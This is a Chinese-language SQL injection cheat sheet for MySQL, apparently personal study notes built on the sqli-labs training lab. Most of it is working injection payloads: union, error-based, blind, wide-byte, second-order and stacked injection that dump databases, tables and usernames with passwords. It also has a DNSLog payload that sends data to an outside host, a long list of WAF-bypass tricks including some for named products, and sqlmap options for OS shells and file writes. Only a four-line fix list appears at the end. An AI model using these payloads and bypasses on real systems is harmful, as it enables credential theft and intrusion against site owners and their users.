SQL注入漏洞小结

MySQL基础与函数特性利用

基础知识

内置系统变量或函数

  • system_user() 系统用户名
  • user() 用户名
  • current_user() 当前用户名
  • session_user() 链接数据库的用户名
  • database( )数据库名
  • version() 数据库版本
  • @@datadir 数据库data路径
  • @@basedir 数据库安装路径
  • @@version_conpile_os 操作系统

读取用户名以及密码

1
SELECT grantee FROM INFORMATION_SCHEMA.USER_PRIVILEGES # 读取用户名

image-20250116211349945

1
SELECT user,password FROM mysql.user # 读取用户名和密码

image-20250116211558687

information_schema库

可利用的函数特性

  • count()

COUNT() 是一个 聚合函数,可用于计算查询结果中 行的数量

  • 基本用法
1
2
3
SELECT COUNT(*) FROM table_name;
SELECT COUNT(column_name) FROM table_name;
SELECT COUNT(*) FROM table_name WHERE condition;

image-20241023200426015

  • 特性
  1. 当单独查询时,返回值永真
1
2
3
4
select count(1);
select count(0);
select count('a');
select count((select 0));

image-20241023201158540

  1. 当查询不满足条件时,返回结果为假
1
select count(id) from users where id=9999;

image-20241023203118240

  • 利用
  1. 当单独查询时,返回值永真,可以用来作为永真子句,进行后续复杂构造
1
select 1 and count(0);

image-20241023203624171

  1. 盲注,确认查询结果是否存在
1
2
3
select 1 and 1=(select count(id) from users where username="admin");   # 返回1说明存在admin用户名
select 1 and 1=(select count(id) from users where username="admin123");# 返回0说明不存在admin123用户名
select 'xxxx' or 1=(select count(id) from users where username="admin123");

image-20241023204048297

  1. 盲注,判断数据长度
1
2
select 0 OR (SELECT COUNT(*) FROM users WHERE username='admin' AND LENGTH(password)>8);
# 判断x1lys用户password的长度

image-20241023205014064

  1. 盲注,枚举数据条数
1
select (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='security');

image-20241023205446897

  • concat()

没有分隔符的链接字符串

  • concat_ws()

含有分隔符的连接字符串

  • group_concat()

连接一个组的所有字符串,并以逗号分隔每一条数据

  • load_file()

读取本地文件

  • into outfile

写文件

  • ascii()

字符串的ASCII代码值

  • ord()

返回字符串第一个字符的ASCII值

  • mid()

返回一个字符串的一部分

  • substr()

返回一个字符串的一部分

  • length()

返回字符串的长度

  • left()

返回字符串最左面几个字符

  • floor()

返回小于或等于x的最大整数

  • rand()

返回0和1之间的一个随机数

  • extractvalue()

  • updatexml()

  • sleep()让此语句运行N秒钟

  • if()

  • char()

返回整数ASCII代码字符组成的字符串

  • strcmp()

比较字符串内容

  • ifnull()

假如参数1不为NULL,则返回值为参数1,否则其返回值为参数2

  • exp()

返回e的x次方

SQL注入分类

按照数据库分类

  • Access注入
  • MySQL注入
  • MSSQL注入
  • Oricle注入
  • MangoDB注入

按照注入位置分类

  • GET注入
  • POST注入
  • JOSN注入
  • Cookie注入
  • Header注入(U-A,XFF)

按照注入技术分类

  • 联合查询注入
  • 报错注入
  • 盲注
  • 堆叠注入
  • 二次注入
  • 宽字节注入
  • DNSLog注入
  • 中转注入
  • 文件读写注入
  • Xpath注入
  • SOAP注入
  • LOAP注入

按照注入数据类型分类

  • 数字型注入
  • 字符型注入

注入技术详解

联合查询注入

前提
  • MySQL版本>4.0
  • 有回显位
  • 需知列数
  • 有时候还要求对应列数据类型也相同
payload

关键字:

  • union
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 判断是否存在注入
?id=1'
?id=0 or sleep(5)
?id=0' or sleep(5)-- +

# 判断闭合方式
?id=1'
?id=1"
?id=1)
?id=1')
?id=1")
?id=1)'
?id=1)"

# 判断注入点数据类型
?id=1
?id=1a

# 读取系统信息
?id=0' union select 1,user(),vesrion() -- +
# vserion() user() database()

# 读取数据库名
?id=0' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)-- +

# 读取表名
?id=0' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security")-- +

# 读取列名
?id=0' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")-- +

# 读取数据
?id=0' union select 1,(select group_concat(username,0x7e,password) from users),3-- +
Sqli-labs-Less-1
  • Less-1-字符型-单引号-联合查询注入

image-20241018105547950

报错注入

XPath格式错误报错

前提
  • MySQL版本>5.1.5
  • 开启了报错调试信息的输出
payload

关键函数:

  • updatexml()

  • extractvalue()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 判断是否存在注入
?id=1'
?id=0 or sleep(5)
?id=0' or sleep(5)-- +

# 判断闭合方式
?id=1'
?id=1"
?id=1)
?id=1')
?id=1")
?id=1)'
?id=1)"

# 判断注入点数据类型
?id=1
?id=1a

# 读取系统信息
?id=1' or updatexml(1,concat(0x7e,(select concat(user(),0x7e,version(),0x7e,database()))),1)--+
?id=1' or extractvalue(1,concat(0x7e,(select concat(user(),0x7e,version(),0x7e,database()))))--+

# 读取数据库名
?id=1' or updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)-- +

# 读取表名
?id=1'or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security")))--+

# 读取列名
?id=1'or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")))--+
# 读取数据
?id=1' or extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e))-- +
Sqli-labs-Less-5
  • Less-5-字符型-单引号-报错注入-Xpath报错

image-20241019123714689

BigInt整数溢出报错

前提
  • MySQL版本5.1.6~5.5.53(大致范围)
  • 开启了报错调试信息的输出
payload

关键函数:

  • exp()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 判断是否存在注入
?id=1'
?id=0 or sleep(5)
?id=0' or sleep(5)-- +

# 判断闭合方式
?id=1'
?id=1"
?id=1)
?id=1')
?id=1")
?id=1)'
?id=1)"

# 判断注入点数据类型
?id=1
?id=1a

# 读取系统信息
?id=1' or exp(~(select * from (select concat(version(),database(),0x7,user()))x))-- +

# 读取数据库名
?id=1' or exp(~(select * from (select group_concat(schema_name) from information_schema.schemata)x))-- +

# 读取表名
?id=1' or exp(~(select * from (select group_concat(table_name) from information_schema.tables where table_schema="security")x))-- +

# 读取列名
?id=1' or exp(~(select * from (select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")x))-- +

# 读取数据
?id=1' or exp(~(select * from (select concat(user," : ",password) from users)x))-- +

Sqli-labs-Less-5
  • Less-5-字符型-单引号-报错注入-BigInt整数溢出报错

image-20241019122805451

主键重复报错

前提
  • MySQL版本5.x(大致范围)
  • 开启了报错调试信息的输出
payload

关键函数:

  • count()
  • rand()
  • floor()

关键字:

  • group by
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 判断是否存在注入
?id=1'
?id=0 or sleep(5)
?id=0' or sleep(5)-- +

# 判断闭合方式
?id=1'
?id=1"
?id=1)
?id=1')
?id=1")
?id=1)'
?id=1)"

# 判断注入点数据类型
?id=1
?id=1a

# 读取系统信息
?id=1' or (select count(*) from information_schema.schemata group by concat(floor(rand(0)*2)," ",version()," ",user()," ",database()))-- +

# 读取数据库名
?id=1' or (select count(*) from information_schema.schemata group by concat(floor(rand(0)*2)," ",(select group_concat(schema_name) from information_schema.schemata)))-- +

# 读取表名
?id=1' or (select count(*) from information_schema.schemata group by concat(floor(rand(0)*2)," ",(select group_concat(table_name) from information_schema.tables where table_schema="security")))-- +

# 读取列名
?id=1' or (select count(*) from information_schema.schemata group by concat(floor(rand(0)*2)," ",(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")))-- +

# 读取数据
?id=1' or (select count(*) from information_schema.schemata group by concat(floor(rand(0)*2)," ",(select group_concat(username,password) from users)))-- +
Sqli-labs-Less-5
  • Less-5-字符型-单引号-报错注入-主键重复报错

image-20241019163343517

几何函数错误报错

前提
  • MySQL版本5.5.47~5.6.50
  • 需要有报错回显
payload

关键函数:

  • multipoint()
  • geometrycollection()
  • polygon()
  • multipolygon()
  • linestring()
  • multilinestring()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# 判断是否存在注入
?id=1'
?id=0 or sleep(5)
?id=0' or sleep(5)-- +

# 判断闭合方式
?id=1'
?id=1"
?id=1)
?id=1')
?id=1")
?id=1)'
?id=1)"

# 判断注入点数据类型
?id=1
?id=1a

# 各种几何函数报错的用法
# 读取系统信息
?id=1' or multipoint((select * from (select * from (select version())a)b))-- +
?id=1' or geometrycollection((select * from (select * from (select version())a)b)))-- +
?id=1' or polygon((select * from (select * from (select version())a)b)))-- +
?id=1' or multipolygon((select * from (select * from (select version())a)b)))-- +
?id=1' or linestring((select * from (select * from (select version())a)b)))-- +
?id=1' or multilinestring((select * from (select * from (select version())a)b)))-- +

# 读取数据库名
?id=1' or multipoint((select * from (select * from (select group_concat(schema_name) from information_schema.schemata)a)b))-- +

# 读取表名
?id=1' or multipoint((select * from (select * from (select group_concat(table_name) from information_schema.tables where table_schema="security")a)b))-- +

#读取列名
?id=1' or multipoint((select * from (select * from (select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")a)b))-- +

# 读取数据
?id=1' or multipoint((select * from (select * from (select group_concat(username,password) from users)a)b))-- +

Sqli-labs-Less-5
  • Less-5-字符型-单引号-报错注入-几何函数错误报错

image-20241019160312123

盲注

布尔盲注

前提
  • 无需回显位,只需有正常与异常页面的不同
payload

关键函数:

  • substr()/mid()
  • ascii()
  • limit()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 需要逐位爆破
# 判断是否存在注入
?id=1'
?id=0 or sleep(5)
?id=0' or sleep(5)-- +
uwei
# 判断闭合方式
?id=1'
?id=1"
?id=1)
?id=1')
?id=1")
?id=1)'
?id=1)"

# 判断注入点数据类型
?id=1
?id=1a

# 读取系统信息
?id=1' and ascii(mid((select version()),1,1))=126-- +
?id=1' and if((ascii(mid((select version()),1,1))=126),1,0)='1--

# 读取数据库名
?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105 -- +

# 读取表名
?id=1' and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))=105 -- +

# 读取列名
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema="security" and table_name="users" limit 0,1),1,1))=105 -- +

# 读取数据
?id=1' and ascii(substr((select password from users limit 0,1),1,1))=105 -- +
ASCII码表
ASCII值 控制字符 ASCII值 控制字符 ASCII值 控制字符 ASCII值 控制字符
0 NUT 32 (space) 64 @ 96
1 SOH 33 ! 65 A 97 a
2 STX 34 66 B 98 b
3 ETX 35 # 67 C 99 c
4 EOT 36 $ 68 D 100 d
5 ENQ 37 % 69 E 101 e
6 ACK 38 & 70 F 102 f
7 BEL 39 , 71 G 103 g
8 BS 40 ( 72 H 104 h
9 HT 41 ) 73 I 105 i
10 LF 42 * 74 J 106 j
11 VT 43 + 75 K 107 k
12 FF 44 , 76 L 108 l
13 CR 45 - 77 M 109 m
14 SO 46 . 78 N 110 n
15 SI 47 / 79 O 111 o
16 DLE 48 0 80 P 112 p
17 DCI 49 1 81 Q 113 q
18 DC2 50 2 82 R 114 r
19 DC3 51 3 83 S 115 s
20 DC4 52 4 84 T 116 t
21 NAK 53 5 85 U 117 u
22 SYN 54 6 86 V 118 v
23 TB 55 7 87 W 119 w
24 CAN 56 8 88 X 120 x
25 EM 57 9 89 Y 121 y
26 SUB 58 : 90 Z 122 z
27 ESC 59 ; 91 [ 123 {
28 FS 60 < 92 \ 124 |
29 GS 61 = 93 ] 125 }
30 RS 62 > 94 ^ 126 `
31 US 63 ? 95 _ 127 DEL
Sqli-labs-Less-8
  • Less-8-字符型-单引号-盲注-布尔盲注

image-20241019173007822

时间盲注

前提
  • 无需回显位,不需要有正常与异常页面的不同,只需能有明显的时间延迟
payload

关键函数:

  • if()
  • sleep()/BENCHMARK()
  • substr()/mid()
  • ascii()
  • limit()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 需要逐位爆破
# 判断是否存在注入
?id=1'
?id=0 or sleep(5)
?id=0' or sleep(5)-- +
uwei
# 判断闭合方式
?id=1'
?id=1"
?id=1)
?id=1')
?id=1")
?id=1)'
?id=1)"

# 判断注入点数据类型
?id=1
?id=1a

# 读取系统信息
?id=1' and if((ascii(mid((select version()),1,1))=126),sleep(5),1)-- +

# 读取数据库名
?id=1' and if((ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105),sleep(5),1) -- +

# 读取表名
?id=1' and if((ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))=105),sleep(5),1) -- +

# 读取列名
?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema="security" and table_name="users" limit 0,1),1,1))=105),sleep(5),1) -- +

# 读取数据
?id=1' and if((ascii(substr((select password from users limit 0,1),1,1))=105),sleep(5),1) -- +
Sqli-labs-Less-9
  • Less-9-字符型-单引号-盲注-时间盲注

image-20241019173257106

image-20241019173330789

宽字节注入

前提
  • 使用addslashes()转义了单引号
  • 使用了GBK编码
原理
研究

都知道宽字节注入的前提必须要目标使用了GBK编码,但是这里的”使用了GBK编码“具体指的是谁的编码呢?数据库的编码(数据库服务器的默认字符集、数据库的字符集、数据表的字符集、列的字符集)吗,网站的编码吗,还是什么编码?

请移步至:

payload

关键函数:

  • addslashes()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 判断是否存在注入
?id=1%df'
?id=0 or sleep(5)
?id=0' or sleep(5)-- +

# 判断闭合方式
?id=11%df'
?id=11%df"
?id=1)
?id=11%df')
?id=11%df")
?id=1)1%df'
?id=1)1%df"

# 判断注入点数据类型
?id=1
?id=1a

# 读取系统信息
?id=0%df' union select 1,user(),vesrion() -- +
# vserion() user() database()

# 读取数据库名
?id=0%df' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)-- +

# 读取表名
?id=0%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security")-- +

# 读取列名
?id=0%df' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")-- +

# 读取数据
?id=0%df' union select 1,(select group_concat(username,0x7e,password) from users),3-- +
sqli-labs-less-32

image-20241022113517754

二次注入

前提
  • 从数据库取出脏数据时,无二次过滤
payload
1
admin' or 1=1 -- +
sqli-labs-less-24
  1. 注册用户名为:admin’ or 1=1 – + 密码为1234

image-20241022113931204

  1. 登录用户名:admin’ or 1=1 – +

image-20241022114612218

  1. 修改admin’ or 1=1 – +的密码为8888

image-20241022114654338

  1. 其实就二次注入修改了admin的密码为8888,登录admin 8888

image-20241022114915070

  1. 登录成功

image-20241022114942441

二次编码注入

前提
  • urldecode()函数在转义方法之后
payload
1
?id= 1%25%27

堆叠注入

前提
  • 未对”;”号进行过滤

  • 使用了类似mysqli_multi_query()的函数,允许了多条sql语句执行

payload
1
2
# 插入用户X1ly?S数据
?id=1';insert into users values('100','X1ly?S','123456')--+
sqli-labs-less-38

image-20241022141452792

image-20241022141522462

DNSLog注入

前提
  • 无需回显
  • secure_file_priv无限制

image-20241022143136371

payload
1
?id=0' or (select load_file(concat('\\\\\\\\',hex((select database())),'.xxxxxx.ceye.io\\\\1.txt')))-- +
sqli-labs-less-9

image-20241022143641886

image-20241022143723463

image-20241022143830066

中转注入

其实就是由于注入点参数值被编码加密了,或者需要其他什么特殊构造,就需要利用本地的脚本在发送请求前,先把payload处理一下,中转一下,再发送给目标服务端。

1
2
3
4
5
6
7
8
<?php
$url='<http://xxxx/?xx=>';
$payload=base64_encode($_GET['x']);
echo $payload;
$urls=$url.$payload;
file_get_contents($urls);
echo $urls;
?>

Bypass WAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
# 注入点判断

and 0 1-1 1^1 1/0 1*0 ……
# 架构逻辑层绕过Waf

> 寻找真实IP

> 直接访问HTTP站点绕过防护

> 利用同网段绕过

> 利用边界漏洞绕过
# 传输机制角度

> 分块传输
# 资源限制角度绕过WAF

?payload=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version()
?payload=a0=0&a1=1&.....&a100=100&id=1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemat
# 协议层面绕过WAF

> 改变传参方式
GET<->POST

> 修改Content-Type
application/……
x-www-form-urlencoded -编码模式
multipart/form-data -文件上传模式
text/plain -文本模式
json -json模式

> 参数污染
index.php?id=1&id=2
?id=1/**%23*/&id=-1/*q*/union%23%0A/*!/*!select
# 规则层面的绕过

> 双写,编码,大小写

> ,
and+1=2+union+SELECT+*+FROM+(select+version())+as+a+join+(select+22)+as+b+join+(select+33)+as+c

> **空格
()**
%09
%0A
%0B
%0C
%0D
%A0
%20
/**/
/*%!%2f*/
union%250Cselect
union%25A0select

> and/or
&&
||
rlike

> **注释**
-- x
%23
#
/**/
/*!xxx*/
/*!50000xxx*/
union/**/select
union/*aaaa%01bbs*/select
union/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/select
/*!union/*!select/*!1,/*!(select database())*/

> 函数分割符号
concat%2520()
concat/**/()
concat%25C()
concat%25a0()

> **特殊符号**
~
!
``
@``
1.1
1e1
()
emoji表情
@:=

> 关键字替换
Sleep() benchmark()
Mid() substring() substr()
@@user User()
@@Version version()

> 模糊匹配
like
regexp

> 浮点数词法解析
select * from x where id=1E0union select……
select * from x where id=1.0union select……
select * from x where id=\\Nunion select……

> 特殊语法
select{x table_name}from{x information_schema.tables}……
%00截断

> 综合利用
?payload=1/*%23*/and/*%00*/%23a%0A/*!/*!*/1=2;%23
?payload=1/*%23*/and%23a%0A1=2;%23

> Fuzz大法

> 替换
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
updatexml、extractvalue() ==> polygon()
@@user ==> user()
@@datadir ==> datadir()
and ==> &&
or ==> ||
not ==> !
xor ==> |
= ==> like
!= ==> <>
limit 0,1 ==> limit 1 offset 0
union select ==> union select * from (select 1)a join (select 2)b
'admin' ==> 0x61646D696E
select * from users where id = 1 order 4 ==> select * from users where id = 1 into @a,@b,@c,@d

安全狗

1
2
3
4
5
6
7
8
9
# 安全狗

/*!union/*!select/*!1,(select/*!password/*!from/*!test.user limit 0,1),3*/

order by-> order/*//*/by

union select -> union/*/!%!*/select

from information_schema.tables -> from/*!--+/*%0Ainformation_schema.tables*/

WTS-WAF

1
2
3
4
5
# WTS-WAF

拦截 绕过
> 空格-> +
> group_concat(xx)->一个一个查 limit 0,1

SQLMAP的使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
--current-db
--current-user
--method POST --data "id=1&pwd=123456" -p id
-r c:/post.txt --dbs
javascript:alert(document.cookie="id="+escape("1"))
python sqlmap.py -u "<http://my.com/test.php>" --cookie "id=1" --level 2
--sql-query="select @@version
--sql-shell
--sql-file="c:/1.sql"
--os-shell
--file-read
--file-write

-m filename
--crawl
--level
-r filename

#!/usr/bin/env python
from lib.core.convert import encodeBase64from lib.core.enums
import PRIORITY

__priority__ = PRIORITY.LOWdef dependencies():
pass
def tamper(payload, **kwargs):
if payload:
payload = payload.replace('union select', "union all select").replace(' ', '%0a')
return payload

漏洞修复

1
2
3
4
1.验证输入的内容
2.参数化接收到请求参数 PHP的PDO
3.编码输入输出
4.编码